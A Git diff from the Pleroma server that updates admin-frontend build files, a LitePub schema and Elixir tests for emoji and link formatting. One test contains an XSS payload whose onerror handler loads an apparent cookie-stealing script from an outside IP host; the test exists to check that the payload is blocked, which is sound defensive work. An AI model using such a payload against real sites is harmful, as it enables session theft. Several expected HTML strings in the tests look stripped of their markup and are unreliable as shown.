similarity index 100% rename from priv/static/adminfe/chunk-0e18.e12401fb.css rename to priv/static/adminfe/chunk-3d1c.a6b92ca7.css diff --git a/priv/static/adminfe/chunk-538a.6ef5bd70.css b/priv/static/adminfe/chunk-538a.6ef5bd70.css new file mode 100644 index 000000000..9e23d0fdb Binary files /dev/null and b/priv/static/adminfe/chunk-538a.6ef5bd70.css differ diff --git a/priv/static/adminfe/chunk-1fbf.d7a1893c.css b/priv/static/adminfe/chunk-598f.14eeccbb.css similarity index 100% rename from priv/static/adminfe/chunk-1fbf.d7a1893c.css rename to priv/static/adminfe/chunk-598f.14eeccbb.css diff --git a/priv/static/adminfe/chunk-5e57.ac97b15a.css b/priv/static/adminfe/chunk-6292.8ee9eaaa.css similarity index 100% rename from priv/static/adminfe/chunk-5e57.ac97b15a.css rename to priv/static/adminfe/chunk-6292.8ee9eaaa.css diff --git a/priv/static/adminfe/chunk-7c6b.dece6ace.css b/priv/static/adminfe/chunk-7c6b.dece6ace.css new file mode 100644 index 000000000..48784b9d2 Binary files /dev/null and b/priv/static/adminfe/chunk-7c6b.dece6ace.css differ diff --git a/priv/static/adminfe/chunk-7f8e.52359c55.css b/priv/static/adminfe/chunk-7f8e.52359c55.css new file mode 100644 index 000000000..6cd674a28 Binary files /dev/null and b/priv/static/adminfe/chunk-7f8e.52359c55.css differ diff --git a/priv/static/adminfe/chunk-8b70.9ba0945c.css b/priv/static/adminfe/chunk-8b70.9ba0945c.css deleted file mode 100644 index 7fa43bf28..000000000 Binary files a/priv/static/adminfe/chunk-8b70.9ba0945c.css and /dev/null differ diff --git a/priv/static/adminfe/chunk-a9e5.15079754.css b/priv/static/adminfe/chunk-a9e5.15079754.css new file mode 100644 index 000000000..cbf59cfb5 Binary files /dev/null and b/priv/static/adminfe/chunk-a9e5.15079754.css differ diff --git a/priv/static/adminfe/chunk-e547.e4b6230b.css b/priv/static/adminfe/chunk-e547.e4b6230b.css deleted file mode 100644 index f740543a0..000000000 Binary files a/priv/static/adminfe/chunk-e547.e4b6230b.css and /dev/null differ diff --git a/priv/static/adminfe/chunk-elementUI.e5cd8da6.css b/priv/static/adminfe/chunk-elementUI.d2a55ce6.css similarity index 100% rename from priv/static/adminfe/chunk-elementUI.e5cd8da6.css rename to priv/static/adminfe/chunk-elementUI.d2a55ce6.css diff --git a/priv/static/adminfe/chunk-libs.4e8c4664.css b/priv/static/adminfe/chunk-libs.36b859a1.css similarity index 100% rename from priv/static/adminfe/chunk-libs.4e8c4664.css rename to priv/static/adminfe/chunk-libs.36b859a1.css diff --git a/priv/static/adminfe/index.html b/priv/static/adminfe/index.html index c31247c03..47901efe8 100644 --- a/priv/static/adminfe/index.html +++ b/priv/static/adminfe/index.html @@ -1 +1 @@ -Admin FE
\ No newline at end of file +Admin FE
\ No newline at end of file diff --git a/priv/static/adminfe/static/js/7zzA.e1ae1c94.js b/priv/static/adminfe/static/js/7zzA.e1ae1c94.js index 4387b8321..526e228f5 100644 Binary files a/priv/static/adminfe/static/js/7zzA.e1ae1c94.js and b/priv/static/adminfe/static/js/7zzA.e1ae1c94.js differ diff --git a/priv/static/adminfe/static/js/7zzA.e1ae1c94.js.map b/priv/static/adminfe/static/js/7zzA.e1ae1c94.js.map new file mode 100644 index 000000000..840e8a26b Binary files /dev/null and b/priv/static/adminfe/static/js/7zzA.e1ae1c94.js.map differ diff --git a/priv/static/adminfe/static/js/JEtC.f9ba4594.js b/priv/static/adminfe/static/js/JEtC.f9ba4594.js index 504eaef1f..4d7adff7f 100644 Binary files a/priv/static/adminfe/static/js/JEtC.f9ba4594.js and b/priv/static/adminfe/static/js/JEtC.f9ba4594.js differ diff --git a/priv/static/adminfe/static/js/JEtC.f9ba4594.js.map b/priv/static/adminfe/static/js/JEtC.f9ba4594.js.map new file mode 100644 index 000000000..633bbc5d6 Binary files /dev/null and b/priv/static/adminfe/static/js/JEtC.f9ba4594.js.map differ diff --git a/priv/static/adminfe/static/js/app.8e186193.js b/priv/static/adminfe/static/js/app.8e186193.js deleted file mode 100644 index 207bbeaa6..000000000 Binary files a/priv/static/adminfe/static/js/app.8e186193.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/app.9d5375ac.js b/priv/static/adminfe/static/js/app.9d5375ac.js new file mode 100644 index 000000000..9f86a9957 Binary files /dev/null and b/priv/static/adminfe/static/js/app.9d5375ac.js differ diff --git a/priv/static/adminfe/static/js/app.9d5375ac.js.map b/priv/static/adminfe/static/js/app.9d5375ac.js.map new file mode 100644 index 000000000..b5f698319 Binary files /dev/null and b/priv/static/adminfe/static/js/app.9d5375ac.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-02a0.db6ec114.js b/priv/static/adminfe/static/js/chunk-02a0.db6ec114.js deleted file mode 100644 index 6f8dd4d13..000000000 Binary files a/priv/static/adminfe/static/js/chunk-02a0.db6ec114.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-0620.c765c190.js b/priv/static/adminfe/static/js/chunk-0620.c765c190.js index aa8ddedce..72077a5ac 100644 Binary files a/priv/static/adminfe/static/js/chunk-0620.c765c190.js and b/priv/static/adminfe/static/js/chunk-0620.c765c190.js differ diff --git a/priv/static/adminfe/static/js/chunk-0620.c765c190.js.map b/priv/static/adminfe/static/js/chunk-0620.c765c190.js.map new file mode 100644 index 000000000..f39b8237f Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-0620.c765c190.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-15fa.6dcb4448.js b/priv/static/adminfe/static/js/chunk-15fa.6dcb4448.js new file mode 100644 index 000000000..70df4d3a2 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-15fa.6dcb4448.js differ diff --git a/priv/static/adminfe/static/js/chunk-15fa.6dcb4448.js.map b/priv/static/adminfe/static/js/chunk-15fa.6dcb4448.js.map new file mode 100644 index 000000000..9a7d1241a Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-15fa.6dcb4448.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-16d0.6ce78978.js b/priv/static/adminfe/static/js/chunk-16d0.6ce78978.js new file mode 100644 index 000000000..497bbcb88 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-16d0.6ce78978.js differ diff --git a/priv/static/adminfe/static/js/chunk-16d0.6ce78978.js.map b/priv/static/adminfe/static/js/chunk-16d0.6ce78978.js.map new file mode 100644 index 000000000..17c3378e3 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-16d0.6ce78978.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-18e1.7f9c377c.js b/priv/static/adminfe/static/js/chunk-1bbd.bc68e218.js similarity index 83% rename from priv/static/adminfe/static/js/chunk-18e1.7f9c377c.js rename to priv/static/adminfe/static/js/chunk-1bbd.bc68e218.js index 1921d0f64..ecce144d9 100644 Binary files a/priv/static/adminfe/static/js/chunk-18e1.7f9c377c.js and b/priv/static/adminfe/static/js/chunk-1bbd.bc68e218.js differ diff --git a/priv/static/adminfe/static/js/chunk-1bbd.bc68e218.js.map b/priv/static/adminfe/static/js/chunk-1bbd.bc68e218.js.map new file mode 100644 index 000000000..c901677be Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-1bbd.bc68e218.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-2325.154a537b.js b/priv/static/adminfe/static/js/chunk-2325.154a537b.js deleted file mode 100644 index 3fe9add82..000000000 Binary files a/priv/static/adminfe/static/js/chunk-2325.154a537b.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-3871.4ac23900.js b/priv/static/adminfe/static/js/chunk-3871.4ac23900.js new file mode 100644 index 000000000..e957e4552 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-3871.4ac23900.js differ diff --git a/priv/static/adminfe/static/js/chunk-3871.4ac23900.js.map b/priv/static/adminfe/static/js/chunk-3871.4ac23900.js.map new file mode 100644 index 000000000..8bb213374 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-3871.4ac23900.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-0e18.208cd826.js b/priv/static/adminfe/static/js/chunk-3d1c.47c8fa87.js similarity index 96% rename from priv/static/adminfe/static/js/chunk-0e18.208cd826.js rename to priv/static/adminfe/static/js/chunk-3d1c.47c8fa87.js index eb7100ecd..d3a26d496 100644 Binary files a/priv/static/adminfe/static/js/chunk-0e18.208cd826.js and b/priv/static/adminfe/static/js/chunk-3d1c.47c8fa87.js differ diff --git a/priv/static/adminfe/static/js/chunk-3d1c.47c8fa87.js.map b/priv/static/adminfe/static/js/chunk-3d1c.47c8fa87.js.map new file mode 100644 index 000000000..d10007b91 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-3d1c.47c8fa87.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-538a.18908e98.js b/priv/static/adminfe/static/js/chunk-538a.18908e98.js new file mode 100644 index 000000000..334e111c1 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-538a.18908e98.js differ diff --git a/priv/static/adminfe/static/js/chunk-538a.18908e98.js.map b/priv/static/adminfe/static/js/chunk-538a.18908e98.js.map new file mode 100644 index 000000000..4bb072450 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-538a.18908e98.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-1fbf.616fb309.js b/priv/static/adminfe/static/js/chunk-598f.b02acd71.js similarity index 99% rename from priv/static/adminfe/static/js/chunk-1fbf.616fb309.js rename to priv/static/adminfe/static/js/chunk-598f.b02acd71.js index 5ad34d801..fb2374e3b 100644 Binary files a/priv/static/adminfe/static/js/chunk-1fbf.616fb309.js and b/priv/static/adminfe/static/js/chunk-598f.b02acd71.js differ diff --git a/priv/static/adminfe/static/js/chunk-598f.b02acd71.js.map b/priv/static/adminfe/static/js/chunk-598f.b02acd71.js.map new file mode 100644 index 000000000..da8e8c4ad Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-598f.b02acd71.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-5e57.7313703a.js b/priv/static/adminfe/static/js/chunk-5e57.7313703a.js deleted file mode 100644 index e16366179..000000000 Binary files a/priv/static/adminfe/static/js/chunk-5e57.7313703a.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-6292.b3aa39da.js b/priv/static/adminfe/static/js/chunk-6292.b3aa39da.js new file mode 100644 index 000000000..c43aee3f3 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-6292.b3aa39da.js differ diff --git a/priv/static/adminfe/static/js/chunk-6292.b3aa39da.js.map b/priv/static/adminfe/static/js/chunk-6292.b3aa39da.js.map new file mode 100644 index 000000000..577df8f95 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-6292.b3aa39da.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-7c6b.24877470.js b/priv/static/adminfe/static/js/chunk-7c6b.24877470.js new file mode 100644 index 000000000..059bcf322 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-7c6b.24877470.js differ diff --git a/priv/static/adminfe/static/js/chunk-7c6b.24877470.js.map b/priv/static/adminfe/static/js/chunk-7c6b.24877470.js.map new file mode 100644 index 000000000..cb00fc3eb Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-7c6b.24877470.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-7f8e.b2353c0a.js b/priv/static/adminfe/static/js/chunk-7f8e.b2353c0a.js new file mode 100644 index 000000000..9a0afaf67 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-7f8e.b2353c0a.js differ diff --git a/priv/static/adminfe/static/js/chunk-7f8e.b2353c0a.js.map b/priv/static/adminfe/static/js/chunk-7f8e.b2353c0a.js.map new file mode 100644 index 000000000..7b1d18c70 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-7f8e.b2353c0a.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-7fe2.458f9da5.js b/priv/static/adminfe/static/js/chunk-7fe2.458f9da5.js index 4442e3e24..ae8abe56d 100644 Binary files a/priv/static/adminfe/static/js/chunk-7fe2.458f9da5.js and b/priv/static/adminfe/static/js/chunk-7fe2.458f9da5.js differ diff --git a/priv/static/adminfe/static/js/chunk-7fe2.458f9da5.js.map b/priv/static/adminfe/static/js/chunk-7fe2.458f9da5.js.map new file mode 100644 index 000000000..34a06172f Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-7fe2.458f9da5.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-8b70.46525646.js b/priv/static/adminfe/static/js/chunk-8b70.46525646.js deleted file mode 100644 index 68b7ea1a3..000000000 Binary files a/priv/static/adminfe/static/js/chunk-8b70.46525646.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-a9e5.f5bb9b33.js b/priv/static/adminfe/static/js/chunk-a9e5.f5bb9b33.js new file mode 100644 index 000000000..62240e099 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-a9e5.f5bb9b33.js differ diff --git a/priv/static/adminfe/static/js/chunk-a9e5.f5bb9b33.js.map b/priv/static/adminfe/static/js/chunk-a9e5.f5bb9b33.js.map new file mode 100644 index 000000000..1bde6592f Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-a9e5.f5bb9b33.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-df62.6c5105a6.js b/priv/static/adminfe/static/js/chunk-df62.6c5105a6.js new file mode 100644 index 000000000..c6c4b82ee Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-df62.6c5105a6.js differ diff --git a/priv/static/adminfe/static/js/chunk-df62.6c5105a6.js.map b/priv/static/adminfe/static/js/chunk-df62.6c5105a6.js.map new file mode 100644 index 000000000..a2380c4cd Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-df62.6c5105a6.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-e547.d57d1b91.js b/priv/static/adminfe/static/js/chunk-e547.d57d1b91.js deleted file mode 100644 index 788164466..000000000 Binary files a/priv/static/adminfe/static/js/chunk-e547.d57d1b91.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-elementUI.1911151b.js b/priv/static/adminfe/static/js/chunk-elementUI.374aa2ca.js similarity index 99% rename from priv/static/adminfe/static/js/chunk-elementUI.1911151b.js rename to priv/static/adminfe/static/js/chunk-elementUI.374aa2ca.js index d11c13e49..b221f866c 100644 Binary files a/priv/static/adminfe/static/js/chunk-elementUI.1911151b.js and b/priv/static/adminfe/static/js/chunk-elementUI.374aa2ca.js differ diff --git a/priv/static/adminfe/static/js/chunk-elementUI.374aa2ca.js.map b/priv/static/adminfe/static/js/chunk-elementUI.374aa2ca.js.map new file mode 100644 index 000000000..b58957727 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-elementUI.374aa2ca.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-libs.3ed10ef6.js b/priv/static/adminfe/static/js/chunk-libs.3ed10ef6.js new file mode 100644 index 000000000..b31c6cd5b Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-libs.3ed10ef6.js differ diff --git a/priv/static/adminfe/static/js/chunk-libs.3ed10ef6.js.map b/priv/static/adminfe/static/js/chunk-libs.3ed10ef6.js.map new file mode 100644 index 000000000..61fd05273 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-libs.3ed10ef6.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-libs.fb0b7f4a.js b/priv/static/adminfe/static/js/chunk-libs.fb0b7f4a.js deleted file mode 100644 index e7f33e6c3..000000000 Binary files a/priv/static/adminfe/static/js/chunk-libs.fb0b7f4a.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/oAJy.840fb1c2.js b/priv/static/adminfe/static/js/oAJy.840fb1c2.js new file mode 100644 index 000000000..9973db60a Binary files /dev/null and b/priv/static/adminfe/static/js/oAJy.840fb1c2.js differ diff --git a/priv/static/adminfe/static/js/oAJy.840fb1c2.js.map b/priv/static/adminfe/static/js/oAJy.840fb1c2.js.map new file mode 100644 index 000000000..48420eecd Binary files /dev/null and b/priv/static/adminfe/static/js/oAJy.840fb1c2.js.map differ diff --git a/priv/static/adminfe/static/js/runtime.c6b7511a.js b/priv/static/adminfe/static/js/runtime.c6b7511a.js new file mode 100644 index 000000000..0e13fe45a Binary files /dev/null and b/priv/static/adminfe/static/js/runtime.c6b7511a.js differ diff --git a/priv/static/adminfe/static/js/runtime.c6b7511a.js.map b/priv/static/adminfe/static/js/runtime.c6b7511a.js.map new file mode 100644 index 000000000..0eadd3e06 Binary files /dev/null and b/priv/static/adminfe/static/js/runtime.c6b7511a.js.map differ diff --git a/priv/static/adminfe/static/js/runtime.f40c8ec4.js b/priv/static/adminfe/static/js/runtime.f40c8ec4.js deleted file mode 100644 index 12796dafa..000000000 Binary files a/priv/static/adminfe/static/js/runtime.f40c8ec4.js and /dev/null differ diff --git a/priv/static/schemas/litepub-0.1.jsonld b/priv/static/schemas/litepub-0.1.jsonld index 57ed05eba..f01c2c33a 100644 --- a/priv/static/schemas/litepub-0.1.jsonld +++ b/priv/static/schemas/litepub-0.1.jsonld @@ -11,6 +11,7 @@ "@id": "ostatus:conversation", "@type": "@id" }, + "discoverable": "toot:discoverable", "manuallyApprovesFollowers": "as:manuallyApprovesFollowers", "ostatus": "http://ostatus.org#", "schema": "http://schema.org", @@ -27,6 +28,10 @@ "oauthRegistrationEndpoint": { "@id": "litepub:oauthRegistrationEndpoint", "@type": "@id" + }, + "uploadMedia": { + "@id": "litepub:uploadMedia", + "@type": "@id" } } ] diff --git a/test/emoji/formatter_test.exs b/test/emoji/formatter_test.exs new file mode 100644 index 000000000..6d25fc453 --- /dev/null +++ b/test/emoji/formatter_test.exs @@ -0,0 +1,64 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2018 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.FormatterTest do + alias Pleroma.Emoji + alias Pleroma.Emoji.Formatter + use Pleroma.DataCase + + describe "emojify" do + test "it adds cool emoji" do + text = "I love :firefox:" + + expected_result = + "I love \"firefox\"" + + assert Formatter.emojify(text) == expected_result + end + + test "it does not add XSS emoji" do + text = + "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" + + custom_emoji = + { + "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)", + "https://placehold.it/1x1" + } + |> Pleroma.Emoji.build() + + expected_result = + "I love \"\"" + + assert Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) == expected_result + end + end + + describe "get_emoji" do + test "it returns the emoji used in the text" do + text = "I love :firefox:" + + assert Formatter.get_emoji(text) == [ + {"firefox", + %Emoji{ + code: "firefox", + file: "/emoji/Firefox.gif", + tags: ["Gif", "Fun"], + safe_code: "firefox", + safe_file: "/emoji/Firefox.gif" + }} + ] + end + + test "it returns a nice empty result when no emojis are present" do + text = "I love moominamma" + assert Formatter.get_emoji(text) == [] + end + + test "it doesn't die when text is absent" do + text = nil + assert Formatter.get_emoji(text) == [] + end + end +end diff --git a/test/emoji/loader_test.exs b/test/emoji/loader_test.exs new file mode 100644 index 000000000..045eef150 --- /dev/null +++ b/test/emoji/loader_test.exs @@ -0,0 +1,83 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.LoaderTest do + use ExUnit.Case, async: true + alias Pleroma.Emoji.Loader + + describe "match_extra/2" do + setup do + groups = [ + "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"], + "wildcard folder": "/emoji/custom/*/file.png", + "wildcard files": "/emoji/custom/folder/*.png", + "special file": "/emoji/custom/special.png" + ] + + {:ok, groups: groups} + end + + test "config for list of files", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/first_file.png") + |> to_string() + + assert group == "list of files" + end + + test "config with wildcard folder", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/some_folder/file.png") + |> to_string() + + assert group == "wildcard folder" + end + + test "config with wildcard folder and subfolders", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/some_folder/another_folder/file.png") + |> to_string() + + assert group == "wildcard folder" + end + + test "config with wildcard files", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/folder/some_file.png") + |> to_string() + + assert group == "wildcard files" + end + + test "config with wildcard files and subfolders", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/folder/another_folder/some_file.png") + |> to_string() + + assert group == "wildcard files" + end + + test "config for special file", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/special.png") + |> to_string() + + assert group == "special file" + end + + test "no mathing returns nil", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/some_undefined.png") + + refute group + end + end +end diff --git a/test/emoji_test.exs b/test/emoji_test.exs index 07ac6ff1d..1fdbd0fdf 100644 --- a/test/emoji_test.exs +++ b/test/emoji_test.exs @@ -14,9 +14,9 @@ defmodule Pleroma.EmojiTest do test "first emoji", %{emoji_list: emoji_list} do [emoji | _others] = emoji_list - {code, path, tags} = emoji + {code, %Emoji{file: path, tags: tags}} = emoji - assert tuple_size(emoji) == 3 + assert tuple_size(emoji) == 2 assert is_binary(code) assert is_binary(path) assert is_list(tags) @@ -24,87 +24,12 @@ test "first emoji", %{emoji_list: emoji_list} do test "random emoji", %{emoji_list: emoji_list} do emoji = Enum.random(emoji_list) - {code, path, tags} = emoji + {code, %Emoji{file: path, tags: tags}} = emoji - assert tuple_size(emoji) == 3 + assert tuple_size(emoji) == 2 assert is_binary(code) assert is_binary(path) assert is_list(tags) end end - - describe "match_extra/2" do - setup do - groups = [ - "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"], - "wildcard folder": "/emoji/custom/*/file.png", - "wildcard files": "/emoji/custom/folder/*.png", - "special file": "/emoji/custom/special.png" - ] - - {:ok, groups: groups} - end - - test "config for list of files", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/custom/first_file.png") - |> to_string() - - assert group == "list of files" - end - - test "config with wildcard folder", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/custom/some_folder/file.png") - |> to_string() - - assert group == "wildcard folder" - end - - test "config with wildcard folder and subfolders", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/custom/some_folder/another_folder/file.png") - |> to_string() - - assert group == "wildcard folder" - end - - test "config with wildcard files", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/custom/folder/some_file.png") - |> to_string() - - assert group == "wildcard files" - end - - test "config with wildcard files and subfolders", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/custom/folder/another_folder/some_file.png") - |> to_string() - - assert group == "wildcard files" - end - - test "config for special file", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/custom/special.png") - |> to_string() - - assert group == "special file" - end - - test "no mathing returns nil", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/some_undefined.png") - - refute group - end - end end diff --git a/test/flake_id_test.exs b/test/flake_id_test.exs deleted file mode 100644 index 85ed5bbdf..000000000 --- a/test/flake_id_test.exs +++ /dev/null @@ -1,47 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2019 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.FlakeIdTest do - use Pleroma.DataCase - import Kernel, except: [to_string: 1] - import Pleroma.FlakeId - - describe "fake flakes (compatibility with older serial integers)" do - test "from_string/1" do - fake_flake = <<0::integer-size(64), 42::integer-size(64)>> - assert from_string("42") == fake_flake - assert from_string(42) == fake_flake - end - - test "zero or -1 is a null flake" do - fake_flake = <<0::integer-size(128)>> - assert from_string("0") == fake_flake - assert from_string("-1") == fake_flake - end - - test "to_string/1" do - fake_flake = <<0::integer-size(64), 42::integer-size(64)>> - assert to_string(fake_flake) == "42" - end - end - - test "ecto type behaviour" do - flake = <<0, 0, 1, 104, 80, 229, 2, 235, 140, 22, 69, 201, 53, 210, 0, 0>> - flake_s = "9eoozpwTul5mjSEDRI" - - assert cast(flake) == {:ok, flake_s} - assert cast(flake_s) == {:ok, flake_s} - - assert load(flake) == {:ok, flake_s} - assert load(flake_s) == {:ok, flake_s} - - assert dump(flake_s) == {:ok, flake} - assert dump(flake) == {:ok, flake} - end - - test "is_flake_id?/1" do - assert is_flake_id?("9eoozpwTul5mjSEDRI") - refute is_flake_id?("http://example.com/activities/3ebbadd1-eb14-4e20-8118-b6f79c0c7b0b") - end -end diff --git a/test/formatter_test.exs b/test/formatter_test.exs index c443dfe7c..3bff51527 100644 --- a/test/formatter_test.exs +++ b/test/formatter_test.exs @@ -19,7 +19,7 @@ test "turns hashtags into links" do text = "I love #cofe and #2hu" expected_text = - "I love and " + ~s(I love #cofe and #2hu) assert {^expected_text, [], _tags} = Formatter.linkify(text) end @@ -28,7 +28,7 @@ test "does not turn html characters to tags" do text = "#fact_3: pleroma does what mastodon't" expected_text = - ": pleroma does what mastodon't" + ~s(#fact_3: pleroma does what mastodon't) assert {^expected_text, [], _tags} = Formatter.linkify(text) end @@ -39,21 +39,21 @@ test "turning urls into links" do text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ." expected = - "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ." + ~S(Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla .) assert {^expected, [], []} = Formatter.linkify(text) text = "https://mastodon.social/@lambadalambda" expected = - "https://mastodon.social/@lambadalambda" + ~S(https://mastodon.social/@lambadalambda) assert {^expected, [], []} = Formatter.linkify(text) text = "https://mastodon.social:4000/@lambadalambda" expected = - "https://mastodon.social:4000/@lambadalambda" + ~S(https://mastodon.social:4000/@lambadalambda) assert {^expected, [], []} = Formatter.linkify(text) @@ -63,55 +63,57 @@ test "turning urls into links" do assert {^expected, [], []} = Formatter.linkify(text) text = "http://www.cs.vu.nl/~ast/intel/" - expected = "http://www.cs.vu.nl/~ast/intel/" + + expected = + ~S(http://www.cs.vu.nl/~ast/intel/) assert {^expected, [], []} = Formatter.linkify(text) text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087" expected = - "https://forum.zdoom.org/viewtopic.php?f=44&t=57087" + "https://forum.zdoom.org/viewtopic.php?f=44&t=57087" assert {^expected, [], []} = Formatter.linkify(text) text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul" expected = - "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul" + "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul" assert {^expected, [], []} = Formatter.linkify(text) text = "https://www.google.co.jp/search?q=Nasim+Aghdam" expected = - "https://www.google.co.jp/search?q=Nasim+Aghdam" + "https://www.google.co.jp/search?q=Nasim+Aghdam" assert {^expected, [], []} = Formatter.linkify(text) text = "https://en.wikipedia.org/wiki/Duff's_device" expected = - "https://en.wikipedia.org/wiki/Duff's_device" + "https://en.wikipedia.org/wiki/Duff's_device" assert {^expected, [], []} = Formatter.linkify(text) text = "https://pleroma.com https://pleroma.com/sucks" expected = - "https://pleroma.com https://pleroma.com/sucks" + "https://pleroma.com https://pleroma.com/sucks" assert {^expected, [], []} = Formatter.linkify(text) text = "xmpp:contact@hacktivis.me" - expected = "xmpp:contact@hacktivis.me" + expected = "xmpp:contact@hacktivis.me" assert {^expected, [], []} = Formatter.linkify(text) text = "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com" - expected = "#{text}" + expected = "#{text}" assert {^expected, [], []} = Formatter.linkify(text) end @@ -135,13 +137,13 @@ test "gives a replacement for user links, using local nicknames in user links te assert length(mentions) == 3 expected_text = - "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme" + }" class="u-url mention" href="#{archaeme_remote.ap_id}" rel="ugc">@archaeme) assert expected_text == text end @@ -156,7 +158,9 @@ test "gives a replacement for user links when the user is using Osada" do assert length(mentions) == 1 expected_text = - "@mike test" + ~s(@mike test) assert expected_text == text end @@ -170,7 +174,7 @@ test "gives a replacement for single-character local nicknames" do assert length(mentions) == 1 expected_text = - "@o hi" + ~s(@o hi) assert expected_text == text end @@ -192,13 +196,17 @@ test "given the 'safe_mention' option, it will only mention people in the beginn assert mentions == [{"@#{user.nickname}", user}, {"@#{other_user.nickname}", other_user}] assert expected_text == - "@#{user.nickname} @#{other_user.nickname} hey dudes i hate @#{third_user.nickname}" + }" class="u-url mention" href="#{third_user.ap_id}" rel="ugc">@#{ + third_user.nickname + }) end test "given the 'safe_mention' option, it will still work without any mention" do @@ -217,6 +225,27 @@ test "given the 'safe_mention' option, it will keep text after newlines" do assert expected_text =~ "how are you doing?" end + + test "it can parse mentions and return the relevant users" do + text = + "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm" + + o = insert(:user, %{nickname: "o"}) + jimm = insert(:user, %{nickname: "jimm"}) + gsimg = insert(:user, %{nickname: "gsimg"}) + archaeme = insert(:user, %{nickname: "archaeme"}) + 